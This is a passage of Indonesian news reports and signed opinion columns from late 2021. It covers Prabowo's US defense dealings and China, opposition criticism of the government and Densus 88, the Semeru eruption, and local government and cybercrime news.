vaksin, dlsb. Walaupun Jokowi sangat dekat dengan China, ia tetap menjaga hubungan baik dengan AS. Namun hanya ketika Prabowo menjadi Menhan, AS melihat pintu sedikit terbuka untuk mereorientasi orbit Indonesia ke arah dirinya. Bukankah Prabowo membutuhkan visa darinya? Lebih dari itu, sikap Prabowo kepada AS pada dasarnya tidak jauh dari sikap tradisional TNI yang sejak kemerdekaan antikomunis dan pro-Amerika. Sikap itu ditegaskan oleh adiknya, Hashim Djojohadikusumo, dalam sebuah pertemuan dengan sejumlah tokoh bisnis dan politik Amerika Serikat di Washington DC. Maka tidak heran bila kesepakatan yang ditandatangani kedua Menhan dalam pertemuan 15-19 Oktober 2020 itu mencerminkan hubungan yang "sangat bersahabat". Tentu saja ada pihak yang tersengat oleh kesepakatan itu, siapa lagi kalau bukan China! Responsnya seketika, hanya berselang sehari setelah perjanjian diumumkan, Menlu Retno menyangkal. Menlu mengatakan bahwa Indonesia tidak mengizinkan "pesawat mata-mata P8 Amerika Serikat berpangkalan di Halim dan Juanda”. Menurut Retno, Indonesia tidak ingin terjebak dalam pertikaian China vs Amerika. Tentu saja, Menlu Retno pura-pura tidak tahu a simple truth: China punya klaim wilayah dengan Indonesia, bukan dengan AS. Yang memiliki kemungkinan berperang dengan China adalah Indonesia. Bukan Amerika Serikat. AS hanya akan turut berperang di Laut China Selatan ketika salah satu negara di sana (termasuk Indonesia) meneriakkan jeritan perang. Dalam pada itu, pihak Kemenhan bersikukuh bahwa perihal yang disampaikan Menlu Retno merupakan domain (wilayah wewenang) Menhan. Menlu PDIP itu tidak menyerah, ia melambung ke presiden. Jokowi mendukung Menlu Retno. Pada 20 Oktober 2020 Jokowi mengoreksi kebijakan Menhan, ia melarang Halim dan Juanda disinggahi oleh pesawat intai maritim P8-Poseidon. Banyak lagi hal dalam perjanjian militer itu yang membuat China meradang. Poin-poin perjanjian yang dipersoalkan China, antara lain: Bantuan AS dalam pengembangan Pusat Latihan Tempur di lahan 300.000 hektar di Kalimantan Utara. Bantuan konsultan AS untuk pengembangan pulau Morotai di Maluku Utara yang sangat strategis. Latihan marinir 3 negara di Darwin. Merapatnya kapal induk AS di perairan Indonesia. Last but not least, China juga meradang atas pembelian persenjataan Amerika oleh Indonesia. Di dalam paket pembelian itu terdapat pesawat F16 Bloc 72 Viper yang tercanggih di kelasnya, F35 dengan kemampuan anti-radar (stealth), helikopter berkapasitas besar untuk mobilisasi udara, dan rudal laut Harpoon yang sangat canggih. China berprasangka bahwa paket pembelian persenjataan itu diproyeksikan untuk perang laut. Di belakang prasangka itu China mencurigai Prabowo telah membuat prakonsepsi China adalah musuh. Prakonsepsi ini bertentangan dengan sejumlah pernyataan lisan Prabowo sendiri. Sudah pasti kegusaran China sampai juga ke meja presiden. Apa reaksi Jokowi kemudian? Apakah Jokowi akan mendukung Menhan yang dua kali menjadi lawan di ajang Pilpres? Atau dia akan mendukung concerns Menlu Retno dan PDIP yang ingin menjaga manisnya hubungan Indonesia-China? Pilihan sikap itu bisa berdampak terhadap keberadaan Edhy Prabowo di kabinet. Karena secara teoritis, sesuai dengan revisi UU KPK, sebuah Operasi Tangkap Tangan harus memperoleh dua tingkatan izin. Pertama, izin dari komisioner. Dan kedua, izin dari Dewan Pengawas. Dengan perizinan lebih ruwet ini suatu OTT profil tinggi setingkat menteri, sangat kecil kemungkinan tidak diketahui oleh presiden. Dengan kata lain, lepas dari kasus korupsi itu sendiri, OTT KPK atas Edhy Prabowo dapat dilihat sebagai bentuk peringatan atau hukuman kepada Prabowo. Lantas bagaimana masa depan Prabowo di kabinet Jokowi-2? Penulis Pemerhati Politik, Demokrasi, dan Isu Kebangsaan

Stop Megalomania, Nekochin Mengancam

Oleh Ridwan Saidi *) Neo kolonialisme dan imperialisme atau Nekolim diksi politik yang sangat ampuh untuk menggalang massa kiri. Kedubes USA dan Inggris hampir tiap hari dIdemo tahun-tahun 1962-1965. Jakarta dibanjiri poster dan spanduk yang dibuat Lembaga Kebudayaan Rakyat Lekra/PKI. Teks spanduk: "Hei Nekolim, ini dadaku, mana dadamu". Tiap hari dikumandangkan kampanye anti Nekolim yang sejatinya mencerminkan pribadi megalomania. Beras sudah tak terbeli rakyat. Dan berganti bulgur. Celana sehari dipakai sehari dijemur. Tapi Indonesia memaksakan diri menjadi pemimpin New Emerging Forces alias Nefo. Dalam kondisi keuangan yang babak belur masih memaksakan diri menyelenggarakan Pesta Olahraga Ganefo. Tidak ada bekasnya kecuali jadi nama gang di kelurahan Senayan: Gg Ganefo I - IX. Perilaku megalomania tak berubah walau sekarang sudah era Neokochin (Neo Kolonialisme China). Nekochin pinjami uang, separoh wilayah negara si⁸000 penghutang dirampas kalau tak mampu bayar. Ini terjadi pada sebuah negara Caucasia yang bertetangga dengan China. Berita terakhir Nekochin claim Natuna utara dan minta Indonesia stop pengeboran migas. Nekochin jajakan pinjaman tanpa jaminan negara ke Afrika, Malaysia, Indonesia. PM Najib Razak Malaysia jatuh karena hutang dengan Nekochin. Pemerintah Indonesia bersemangat. Kita akan meroket maju. Mandalika menaikkan nama Indonesia, dengan balap Mobil Jakarta sepantar New York. Indonesia negara yang diperhitungkan kalau IKN selesai. Tiap hari kita dikasih omongan macam begini. Lantas saya sulit membedakan, hidup dalam suasana anti Nekolim, dan hidup di era Nekochin. *) Budayawan

Panitia Deklarasi Anies Baswedan di Pekalongan Sempat Diintimidasi

Pekalongan, FNN.CO.ID—Deklarasi dukungan kepada Gubernur DKI Jakarta Anies Baswedan berlangsung di beberapa tempat di Jawa Tengah, Sabtu (4/12/2021). Seperti di Pemalang, Batang dan Pekalongan. Namun di Pekalongan sempat terjadi insiden upaya penghalang-halangan oleh selolompok orang. Kelompok tersebut sempat mengintimidasi panitia dan deklarator. Kejadiannya dimulai saat elemen masyarakat bersama Aliansi Nasional Indonesia Sejahtera (ANIES) untuk Anies Baswedan Presiden 2024 akan memasuki tempat deklarasi di RM Dapur 51 Kedungwuni Pekalongan Jawa Tengah. Deklararasi sesuai agenda dilakukan pada pukul 15:00 WIB. Namun saat acara siap dilakukan, sekelompok orang datang menggunakan sebuah kendaraan dengan spanduk putih bertuliskan “ Tetep Ganjar !!!” . Peserta yang hendak ikut deklarasi menahan diri tidak masuk. Apalagi mereka dihalangi dengan cara intimidasi. Panitia dan deklarator mencoba memberi pengertian mamun upaya itu gagal. Karena mulai tegang, aparat datang. Kedua pihak ditengahi. Koordinator Nasional Relawan ANIES La Ode Basir dikabarkan akan datang sehingga membuat polisi harus mengisolasi kelompok pendukung Ganjar Pranowo. Acara deklarasi pun dimulai. Setelah La Ode Basir meninggalkan tempat karena akan deklarasi di tempat lain. Kelompok pembawa spanduk tersebut datang lagi dan membuat ketegangan. Polisi sigap dan bisa diselesaikan. La Ode Basir kepada media mengajak kepada semua relawan yang terlibat dalam dinamika politik untuk berpolitik dengan fair, santun, dan tidak memancing konflik. Politik harus dijalankan dengan kegembiraan. “Semoga kejadian seperti ini tidak terulang lagi,” ujar La Ode Basir saat menuju ke acara deklarasi berikutnya di Kabupaten Batang, Sabtu (4/12/2021). (TG)

Membasmi Terorisme dengan Teror

By M Rizal Fadillah Terberitakan bahwa Densus 88 akan melakukan penangkapan kembali. Kini target disebut-sebut dua sosok populer dan eksis di TV. Seorang akademisi lainnya politisi. Pihak kepolisian masih merahasiakan identitasnya. Rencana penangkapan ini dikaitkan dengan keterlibatan dalam jaringan Jama'ah Islamiyah (JI). Sebelumnya tiga ulama Farid Okbah, Anung Al Halmat, dan Ahmad Zein ditangkap juga dengan tuduhan yang sama terlibat Jama'ah Islamiyah (JI). Bergeser dari status sebagai Dewan Syuro menjadi penggalang dana. Tetap publik tertutup dari informasi yang jelas dan sesungguhnya. Isu terorisme menjadi "alasan pembenar" untuk menutup akses. Prinsip negara hukum telah lama tercederai. Dengan target 2 tokoh yang dipublikasikan akan ditangkap tanpa penjelasan baik nama maupun tindakan teror yang dilakukannya adalah sebuah teror. Apalagi sekedar sinyal liar. Publik dibuat menduga-duga dan mencurigai sesama. Densus 88 menjadi lembaga pemberantasan terorisme dengan cara teror. Perlu evaluasi dan koreksi. Jama'ah Islamiyah (JI) adalah hantu yang menakutkan atau dibuat untuk menakut-nakuti. Organisasi atau aktivis da'wah tidak banyak mengenal Jama'ah yang konon "berjuang untuk Islam" ini. Makhluk apakah ia. Pengamat terorisme hanya mampu bercerita tentang indikasi hingga mutasi tanpa bersambung dengan pengetahuan dan perasaan publik tentang keberadaannya sebagai kelompok "pejuang Islam". Sebagai upaya pencegahan sebaiknya Pemerintah membuka ke ruang publik seluas-luasnya tentang keberadaan Jama'ah Islamiyah baik struktur, program, pimpinan dan personal yang ada di dalamnya. Sejauh mana dasar hukum yang melandasi sebagai organisasi teroris. Pengetahuan Pemerintah, khususnya Densus 88, tentu sudah sangat dalam. Ungkapan pengamat bahwa JI telah berubah menjadi organisasi da'wah dan kemanusiaan perlu mendapatkan klarifikasi. Jika tetap berbahaya jelaskan bahayanya sehingga masyarakat atau umat Islam mewaspadai, jangan sampai terjebak atau Jama'ah Islamiyah (JI) oleh pihak tertentu dijadikan jalan atau sarana untuk menjebak. Di masa Orde Baru dahulu muncul berbagai organisasi militan 'buatan' yang digunakan untuk menjebak. Dalam konteks global Al Qaeda dan ISIS juga bukan murni organisasi perjuangan umat Islam. Banyak pihak yang ikut bermain. Nah, ancaman bahwa akan ada dua tokoh akademisi dan politik yang akan ditangkap oleh Densus dengan tuduhan terorisme adalah tidak sehat. Kualifikasi teroris atau tindakan terorisme harus berbasis hukum dan perundang-undangan. Bukan bersandar pada kepentingan politik, apalagi sekedar posisi seseorang sebagai tokoh oposisi. Indonesia adalah negara ber-ketuhanan YME dan ber-kemanusiaan yang adil dan beradab. Negara demokrasi dan negara hukum bukan negara kekuasaan. Negara berdaulat yang tidak boleh tunduk pada kemauan dan pemaksaan global. Terorisme global baik otonom maupun dikendalikan oleh negara harus diantisipasi. Kita sebagai bangsa yang cinta damai setuju memberantas terorisme akan tetapi penanganan harus dengan berbasis hukum, keadilan, dan kemanusian. Tidak memberantas terorisme dengan cara teror. Sebab jika demikian, apa bedanya ? *) Pemerhati Politik dan Kebangsaan

Pemkab Garut Targetkan Rumah Korban Longsor Cilawu Rampung Akhir 2021

Garut, FNN - Pemerintah Kabupaten Garut, Jawa Barat menargetkan pembangunan rumah korban terdampak bencana tanah longsor di Kecamatan Cilawu rampung akhir 2021. "Saya optimis sebelum akhir tahun warga korban bencana tanah longsor sudah bisa menempati rumah yang kami bangun," kata Sekretaris Daerah Pemkab Garut Nurdin Yana saat meninjau pembangunan rumah untuk relokasi korban longsor di Desa Karyamekar, Kecamatan Cilawu, Sabtu. Ia menuturkan longsoran tanah tebing di Desa Karyamekar telah mengancam bahaya pemukiman warga di atasnya sehingga perlu direlokasi agar tidak ada korban jiwa maupun kerugian materi yang lebih besar. Pemerintah daerah, kata Nurdin, menyiapkan rumah untuk 73 kepala keluarga yang terdampak bahaya longsor dengan total anggaran sebesar Rp3,65 miliar untuk dana pembelian lahan dan pembangunan rumah. Nurdin bersama sejumlah aparatur pemerintah daerah setempat meninjau langsung pelaksanaan pembangunan untuk memastikan hasilnya sesuai dengan harapan bersama, terutama masyarakat yang akan menempati hunian itu. Ia menyampaikan kawasan relokasi itu sudah dilengkapi dengan fasilitas listrik, air bersih dari Perusahaan Daerah Air Minum (PDAM), penerangan jalan umum, masjid dan fasilitas umum lainnya. Sekda saat kunjungannya itu mengaku puas dengan hasil pembangunan rumah yang kokoh dan nyaman untuk ditempati warga terdampak bahaya bencana tanah longsor. "Saya sangat puas dengan kualitas rumah yang dibangun secara swakelola ini," katanya. (mth)

Menkes Minta Kadin Dorong Investasi di Sektor Kesehatan

Jakarta, FNN - Menteri Kesehatan (Menkes) Budi Gunadi meminta Kamar Dagang dan Industri (Kadin) Indonesia untuk mendorong munculnya investasi di sektor kesehatan di tanah air. Di depan Rapat Pimpinan Nasional (Rapimnas) Kadin Indonesia di Nusa Dua, Bali pada 3-4 Desember 2021, Menkes menyatakan besarnya potensi industri kesehatan dan farmasi di Indonesia sangat disayangkan jika diabaikan oleh pemangku kepentingan. "Potensi tersebut seharusnya dimanfaatkan dengan membangun kapasitas manufaktur atau pabrik-pabrik industri kesehatan atau farmasi. Saran saya, Kadin Indonesia harus mendorong adanya investasi di sektor ini," katanya melalui keterangan tertulis di Jakarta, Sabtu. Dalam forum bisnis Rapimnas 2021 mengenai sektor kesehatan nasional dan industrinya, tersebut Menkes Budi Gunadi Sadikin mengatakan transformasi kesehatan nasional harus dipercepat. Instruksi Presiden Nomor 6 Tahun 2016 tentang Percepatan Pengembangan Industri Farmasi dan Alat Kesehatan serta aturan Tingkat Kandungan Dalam Negeri (TKDN), lanjutnya, diharapkan dapat menjadi momentum bagi industri kesehatan dalam negeri untuk bisa lebih agresif membangun kapasitas untuk memproduksi alat kesehatan dalam negeri. Sementara itu dalam forum bisnis bertemakan pemberdayaan ekonomi daerah, Menteri Investasi/Kepala BKPM Bahlil Lahadalia mengatakan saat ini investasi di daerah, terutama luar Jawa sudah mulai meningkat pesat. Hal itu dikarenakan pemerintah terus menyiapkan infrastrukturnya ditambah dengan adanya insentif yang lebih tinggi jika mau berinvestasi di luar Jawa. Dari kuartal akhir tahun 2020 hingga saat ini, tambahnya, angka investasi luar Jawa terus meningkat. Hal ini sangat penting, karena investasi itu berkontribusi besar dalam penciptaan lapangan kerja di daerah serta pemerataan ekonomi. Sedangkan Menteri Dalam Negeri (Mendagri) Tito Karnavian mengatakan pemberdayaan ekonomi daerah utamanya pedesaan, harus dikuatkan melalui MoU Mendagri, Mendes dan Kadin Indonesia. Untuk memajukan ekonomi desa, lanjutnya, tidak mungkin hanya mengandalkan dana desa, perlu investasi pengusaha. Presiden tambahnya, juga memerintahkan membangun kawasan ekonomi khusus di sekitar Pos Lintas Batas Negara (PLBN). Menurut Ketua Umum Kadin Indonesia Arsjad Rasjid Rapimnas Kadin Indonesia di kali ini membahas beberapa tema penting yang relevan dalam situasi nasional saat ini. Tema prioritas yang dibahas Kadin Indonesia bersama beberapa menteri antara lain soal kesehatan dan industrinya, pemberdayaan ekonomi daerah, kewirausahaan dan pembangunan kapasitas serta peta jalan menuju Net Zero. Arsjad berharap, forum bisnis ini bisa menjadi wadah tukar gagasan dan mencari titik temu mengenai problem dan tantangan ekonomi yang dihadapi Indonesia. "Harapannya dari forum ini lahir suatu peta jalan yang akan direkomendasikan untuk menerbitkan kebijakan atau langkah strategis untuk pemerintah demi kemajuan dan kebangkitan Indonesia menuju Indonesia Emas 2045," katanya. Menteri lain yang turut menjadi pembicara dalam Rapimnas Kadin tersebut yakni Menteri Keuangan Sri Mulyani dan Menteri Perencanaan Pembangunan Nasional/Kepala Bappenas Suharso Monoarfa yang keduanya membahas Road Map to Net Zero Emission. Menkeu Sri Mulyani mengatakan terkait dana perubahan iklim, pemerintah menggunakan kebijakan insentif bagi perusahaan yang melakukan aksi-aksi perubahan iklim. Saat ini pemerintah tengah mengembangkan pembiayaan inovatif terkait hal ini. (mth)

Siber Polri-FBI Kerja Sama Investigasi Kejahatan Siber Internasional

Jakarta, FNN - Direktorat Tindak Pidana Siber (Dittipid Siber) Polri menjalin kerja sama investigasi dengan Cyber Division The Federal Bureau of Investigation (FBI) dalam mengungkap jaringan kejahatan siber internasional yang melibatkan beberapa negara. Direktur Tipidsiber Polri Brigjen Pol Asep Edi Suheri mengatakan delegasi Siber Polri yang dipimpin olehnya bersama Kementerian Hukum dan HAM melakukan pertemuan dengan pejabat FBI Cyber Division dan perwakilan dari FBI Local Office Washington DC, Selasa (30/11) lalu. "Dalam pertemuan tersebut dibahas tindak lanjut kerja sama pengungkapan jaringan pelaku kejahatan siber internasional yang melibatkan beberapa negara," kata Brigjen Asep dalam keterangan tertulis yang diterima di Jakarta, Sabtu. Menurut dia, selain membahas tentang kasus peretasan (hacking) yang sedang ditangani masing-masing divisi, pertemuan tersebut juga membahas tentang model ancaman siber yang terjadi di masing-masing negara. Hal itu bertujuan untuk membuka upaya kerja sama dalam sejumlah penanganan kasus yang pelaku maupun korbannya berasal dari Indonesia maupun Amerika Serikat dan negara-negara lain. "Dalam pertemuan ini juga dibahas tentang keberhasilan pengungkapan dan penangkapan pelaku penjualan alat peretas ("hacking tools") yang digunakan untuk meretas akun-akun pengguna aplikasi "startup" internasional," kata Asep menjelaskan. Asep menyebutkan, praktik penjualan alat atau kode peretasan ini menyasar lebih dari 70.000 akun yang tersebar di 43 negara. Berdasarkan hasil penelusuran sementara, kerugian yang ditimbulkan akibat kejahatan ini sudah menembus angka Rp 27 miliar. "Jumlah uang maupun korban masih mungkin bertambah seiring dengan hasil pengembangan perkara," ungkapnya. Brigjen Asep menambahkan, hingga saat ini Dittipid Siber Bareskrim Polri telah melakukan pemeriksaan beberapa korban yang berada di beberapa negara bagian Amerika Serikat, seperti New York, Washington DC dan Los Angeles terkait pengungkapan jaringan kejahatan siber internasional. Kerja sama investigasi ini, kata Asep, didukungn sejumlah pihak, oleh FPI dan Konsulat Jenderal Indonesia (KJRI) di masing-masing negara. "Kegiatan ini juga didukung oleh FBI dan KJRI di masing-masing negara bagian, terutama terkait dengan koordinasi teknis pemeriksaan yang dilakukan oleh Tim Siber Polri," kata Asep. (mth)

Pusat Vulkanologi Catat Ada Dua Kali Guguran Lava Pijar Di Gunung Semeru

Jakarta, FNN - Pusat Vulkanologi dan Mitigasi Bencana Geologi (PVMBG) Kementerian ESDM menyebut terdapat dua kali guguran lava pijar dengan jarak luncur kurang lebih 500 meter sampai 800 meter dengan pusat guguran berada kurang lebih 500 meter di bawah kawah. "Teramati dua kali guguran lava pijar dengan jarak luncur kurang lebih 500 sampai 800 meter," kata Petugas PVMBG Yuda Prinardita Pura dalam keterangan yang dikutip di Jakarta, Sabtu. Gunung Semeru yang berada di Kabupaten Lumajang, Jawa Timur, mengalami erupsi disertai awan panas guguran dan hujan abu vulkanik cukup tebal pada Sabtu, 4 Desember 2021, sore. Puluhan warga di Desa Sumberwuluh, Kabupaten Lumajang, Jawa Timur, dilaporkan mulai mengungsi akibat peristiwa tersebut. Hujan abu vulkanik menyebabkan sejumlah wilayah di Kecamatan Pronojiwo dan Candipuro gelap seperti malam hari, sehingga pemerintah setempat akan membuka posko pengungsian di Kamar Kajang dan Pronojiwo. Yuda meminta masyarakat, pengunjung, ataupun wisatawan untuk tidak beraktivitas dalam radius satu kilometer dari kawah Gunung Semeru dan jarak lima kilometer arah bukaan kawah di sektor tenggara-selatan, serta mewaspadai awan lanas guguran, guguran lava, dan lahar di sepanjang aliran sungai atau lembah yang berhulu di puncak Gunung Semeru. Radius dan jarak rekomendasi ini akan dievaluasi terus untuk antisipasi jika terjadi gejala perubahan ancaman bahaya. Selain itu, masyarakat juga diminta menjauhi atau tidak beraktivitas di area terdampak material awan panas karena saat ini suhunya masih tinggi dan mewaspadai potensi luncuran di sepanjang lembah jalur awan panas Besuk Kobokan. "Mewaspadai ancaman lahar di alur sungai atau lembah yg berhulu di Gunung Semeru mengingat banyaknya material vulkanik yang sudah terbentuk," pesan Yuda, sebagaimana dikutip dari Antara. Gunung Semeru yang memiliki ketinggian 3.676 meter dari permukaan laut dilaporkan mengalami peningkatan aktivitas yang disertai awan panas guguran dan hujan abu vulkanik, kurang lebih pada pukul 15.00 WIB. Berdasarkan data Badan Nasional Penanggulangan Bencana (BNPB), Gunung Semeru mengalami peningkatan aktivitas vulkanik dengan guguran awan panas mengarah ke Besuk Kobokan, Kecamatan Pronojiwo, Kabupaten Lumajang, Jawa Timur, kurang lebih pukul 15.20 WIB. (MD).

Pemerintah Imbau Masyarakat Tak Beraktivitas Dekat Kawah Gunung Semeru

Jakarta, FNN - Pemerintah mengimbau masyarakat untuk tidak beraktivitas dalam radius satu kilometer dari kawah Gunung Semeru yang sore ini meletus yang disertai awan panas guguran dan hujan abu vulkanik cukup tebal. "Masyarakat, pengunjung dan wisatawan tidak beraktivitas dalam radius satu kilometer dari kawah atau puncak Gunung Semeru," kata petugas dari Pusat Vulkanologi dan Mitigasi Bencana Geologi Kementerian ESDM Yuda Prinardita Pura dalam keterangan yang dikutip di Jakarta, Sabtu. Yuda menambahkan bahwa masyarakat juga diimbau tidak beraktivitas dalam jarak lima kilometer arah bukaan kawah di sektor tenggara-selatan serta mewaspadai awan panas guguran, guguran lava dan lahar di sepanjang aliran sungai atau lembah yang berhulu di puncak Gunung Semeru. Menurutnya, radius dan jarak rekomendasi ini akan dievaluasi terus untuk mengantisipasi jika terjadi gejala perubahan ancaman bahaya. Selain itu, masyarakat juga diminta menjauhi atau tidak beraktivitas di area terdampak material awan panas karena saat ini suhunya masih tinggi dan mewaspadai potensi luncuran di sepanjang lembah jalur awan panas di wilayah Besuk Kobokan. "Mewaspadai ancaman lahar di alur sungai atau lembah yg berhulu di Gunung Semeru mengingat banyaknya material vulkanik yang sudah terbentuk," pesan Yuda. Gunung Semeru yang memiliki ketinggian 3.676 meter dari permukaan laut dilaporkan mengalami peningkatan aktivitas kemudian meletus yang disertai awan panas guguran dan hujan abu vulkanik, kurang lebih pada Sabtu (4/12) pukul 15.00 WIB. Kondisi meteorologi di lokasi berupa cuaca berawan, mendung dan hujan. Angin bertiup lemah ke arah barat dan suhu udara berkisar 22-26 derajat Celcius. Berdasarkan pengamatan PVMBG Kementerian ESDM, ada dua kali guguran lava pijar dengan jarak luncur kurang lebih 500 meter sampai 800 meter dengan pusat guguran berada kurang lebih 500 meter di bawah kawah. "Teramati dua kali guguran lava pijar dengan jarak luncur kurang lebih 500 sampai 800 meter. Visual Gunung Semeru dominan tertutup kabut," kata Yuda. (mth)

PVMBG Catat Ada Dua Kali Guguran Lava Pijar di Gunung Semeru

Jakarta, FNN - Pusat Vulkanologi dan Mitigasi Bencana Geologi (PVMBG) Kementerian ESDM menyebut terdapat dua kali guguran lava pijar dengan jarak luncur kurang lebih 500 meter sampai 800 meter dengan pusat guguran berada kurang lebih 500 meter di bawah kawah. "Teramati dua kali guguran lava pijar dengan jarak luncur kurang lebih 500 sampai 800 meter," kata Petugas PVMBG Yuda Prinardita Pura dalam keterangan yang dikutip di Jakarta, Sabtu. Gunung Semeru yang berada di Kabupaten Lumajang, Jawa Timur, mengalami erupsi disertai awan panas guguran dan hujan abu vulkanik cukup tebal pada Sabtu sore (4/12/2021). Puluhan warga di Desa Sumberwuluh, Kabupaten Lumajang, Jawa Timur, dilaporkan mulai mengungsi akibat peristiwa tersebut. Hujan abu vulkanik menyebabkan sejumlah wilayah di Kecamatan Pronojiwo dan Candipuro gelap seperti malam hari, sehingga pemerintah setempat akan membuka posko pengungsian di Kamar Kajang dan Pronojiwo. Yuda meminta masyarakat, pengunjung, ataupun wisatawan untuk tidak beraktivitas dalam radius satu kilometer dari kawah Gunung Semeru dan jarak lima kilometer arah bukaan kawah di sektor tenggara-selatan, serta mewaspadai awan lanas guguran, guguran lava, dan lahar di sepanjang aliran sungai atau lembah yang berhulu di puncak Gunung Semeru. Radius dan jarak rekomendasi ini akan dievaluasi terus untuk antisipasi jika terjadi gejala perubahan ancaman bahaya. Selain itu, masyarakat juga diminta menjauhi atau tidak beraktivitas di area terdampak material awan panas karena saat ini suhunya masih tinggi dan mewaspadai potensi luncuran di sepanjang lembah jalur awan panas Besuk Kobokan. "Mewaspadai ancaman lahar di alur sungai atau lembah yg berhulu di Gunung Semeru mengingat banyaknya material vulkanik yang sudah terbentuk," pesan Yuda. Gunung Semeru yang memiliki ketinggian 3.676 meter dari permukaan laut dilaporkan mengalami peningkatan aktivitas yang disertai awan panas guguran dan hujan abu vulkanik, kurang lebih pada pukul 15.00 WIB. Berdasarkan data Badan Nasional Penanggulangan Bencana (BNPB), Gunung Semeru mengalami peningkatan aktivitas vulkanik dengan guguran awan panas mengarah ke Besuk Kobokan, Kecamatan Pronojiwo, Kabupaten Lumajang, Jawa Timur, kurang lebih pukul 15.20 WIB. (mth)

BPBD Jatim Kirim Tim Bantu Evakuasi Warga Terdampak Letusan Semeru

Surabaya, FNN - Badan Penanggulangan Bencana Daerah (BPBD) Provinsi Jawa Timur mengirimkan tim untuk membantu BPBD Kabupaten Lumajang melakukan evakuasi terhadap warga terdampak letusan Gunung Semeru. "Agen bencana Provinsi Jatim dan TRC PB BPBD Lumajang menuju lokasi untuk asesmen dan melakukan evakuasi warga di sekitar Gunung Semeru," ujar Kepala Pelaksana BPBD Jatim Budi Santosa ketika dikonfirmasi di Surabaya, Sabtu, 4 Desember 2021. BPBD Lumajang, kata dia, juga langsung berkoordinasi dengan perangkat desa setempat untuk melakukan langkah-langkah evakuasi. Pihaknya juga mengaku telah melaporkan kondisi Gunung Semeru kepada Gubernur Jatim Khofifah Indar Parawansa, Wakil Gubernur Emil Elestianto Dardak, serta Pelaksana Harian Sekda Provinsi Jatim sekaligus Kepala BPBD Jatim Heru Tjahjono. Ia menjelaskan berdasarkan informasi awal telah terjadi peningkatan aktivitas Gunung Semeru di Dese Supiturang, Kecamatan Pronojiwo, Kabupaten Lumajang. "Kronologinya hari ini sekitar pukul 15.00 WIB telah terjadi peningkatan aktivitas Gunung Berapi Semeru disertai awan panas guguran," ujarnya, sebagaimana dikutip dari Antara. Pihaknya hingga saat ini belum mendapatkan laporan terkait dengan jatuhnya korban jiwa dalam peristiwa tersebut. "Untuk korban jiwa sampai saat ini belum ada laporan dan semoga tidak ada. Termasuk dampak yang diakibatkan karena sampai sekarang masih dilakukan pendataan," katanya. BPBD juga mengimbau warga menjauhi daerah sekitar sungai yang berhulu di gunung yang memiliki ketinggian 3.676 meter dari permukaan laut (mdpl) sekaligus gunung api tertinggi di Pulau Jawa tersebut. (MD).

Tangerang Tambah Pengadaan Alat Berat Untuk Percepat Pembangunan

Tangerang, FNN - Pemerintah Kabupaten Tangerang, Provinsi Banten melalui Dinas Bina Marga dan Sumber Daya Air (DBMSDA) mengadakan penambahan lima unit alat berat untuk menunjang dan mempercepat pembangunan infrastruktur di daerah itu. Kelima jenis alat berat tersebut yakni Excavator seri 305.2 dengan merek Caterpillar dari penyedia PT Trackindo Utama kata Kepala Bidang DBMSDA Kabupaten Tangerang, Dedi Sukardi di Tangerang, Sabtu, 4 Desember 2021. "Pengadaan alat berat (Excavator) ini menjadi tugas UPTD perbengkelan dalam meningkatkan pelayanan terhadap UPTD jalan dan jembatan maupun UPTD Sumber Daya Air. Dengan datangnya alat ini, diharapkan dapat menambah kekuatan kita untuk penanganan yang bersifat darurat ataupun yang terprogram," katanya, sebagaimana di kutip dari Antara. Ia mengatakan, dengan adanya penambahan alat berat jenis Excavator itu bisa membantu dalam mempercepat perbaikan dan pembangunan jalan dan gorong-gorong di wilayah Kabupaten Tangerang. "Tipe ini memiliki kekuatan menggali 3670 mm, dirasa sangat cukup untuk menunjang perbaikan jalan dan gorong-gorong di Kabupaten Tangerang," ujarnya. Selain itu juga, adanya penambahan alat berat tersebut dapat memberikan semangat untuk para pekerja dalam meningkatkan pelayanan kepada masyarakat. "Mengingat saat ini sedang memasuki musim penghujan, bagi para pekerja saya mohon dapat bekerja lebih maksimal lagi. Alat berat ini nantinya akan digunakan untuk menormalisasikan drainase agar aliran air bisa lebih lancar, sehingga ke depannya dapat menjadi solusi dalam penanganan banjir," ujarnya. Ia menambahkan, Pemerintah Kabupaten Tangerang saat ini terus berkomitmen dan berupaya untuk meningkatkan kesejahteraan masyarakat salah satunya dengan memperlancar perbaikan drainase dalam menangani banjir, sehingga nantinya pertumbuhan ekonomi masyarakat setempat tidak terganggu. "Kami juga berharap bahwa masyarakat bisa turut berpartisipasi untuk tidak membuang sampah ke sungai serta tidak membangun bangunan di garis sempadan sungai dan menutup atas drainase yang sudah kita bangun, karena ini menyebabkan timbulnya bahaya banjir," kata dia. (MD).

Edhy Prabowo - Pusaran Konflik Prabowo Vs Jokowi: USA – Indonesia dan PK China (1)

Oleh: Radhar Tribaskoro SAYA mengenal Edhy Prabowo saat saya menjadi caleg partai Gerindra. Ia ikut menyeleksi dan kemudian memimpin pelatihan caleg selama 2 minggu. Selama pelatihan itu saya menyadari kedekatannya dengan Prabowo. Ia layaknya bayangan Prabowo, menyiapkan segalanya sebelum Prabowo tiba dan menindaklanjuti setiap keputusan-keputusannya. Harus diakui, dalam eksekusi kebijakan Edhy sangat baik. Edhy Prabowo, suatu ketika, pernah dikira adik Prabowo Subianto. Itu salah satu alasan ia memenangkan kursi DPR di Sumatera Selatan, tahun 2009. Namun kenyataan itu tidak seharusnya menutupi kapasitasnya sebagai seorang eksekutor. Setelah Edhy Prabowo terpilih sebagai menteri saya menyukai gayanya "menghabisi legacy Susi Pudjiastuti". Susi seorang environmentalis fanatik. Ia melihat nelayan dan laut sebagai musuh abadi. Ia ingin memulihkan kekayaan laut, untuk itu ia harus menghentikan nelayan. Sepanjang masa jabatannya entah sudah berapa banyak nelayan dan pembudidaya yang berunjukrasa, namun diabaikannya. Satu industri pembudidaya ikan praktis gulung tikar. Namun, Edhy Prabowo secara bertahap menghidupkan kembali para pembudidaya itu. Edhy Prabowo punya peluang besar berhasil memimpin Kementerian Kelautan dan Perikanan, andai saja ia tidak terkena OTT KPK. Memahami kasus korupsi Edhy Prabowo, kita perlu melihatnya dari dua konteks: korupsi sebagai implikasi politik feodal dan oligarki dan OTT Edhy Prabowo sebagai implikasi Prabowo yang pro-Amerika vs Jokowi pro-CHina. Konteks pertama sudah sering sekali saya bahas, jadi nanti saya hanya akan soroti secara singkat. Konteks kedua jauh lebih penting, karena menyangkut hubungan strategis Indonesia-China-Amerika yang besar sekali pengaruhnya terhadap kebijakan rezim penguasa di Indonesia. Politik dan Korupsi Mengapa Edhy Prabowo harus korupsi? Hidupnya jauh berlebih. Apakah ia seorang yang serakah? Hanya Tuhan Maha ahu. 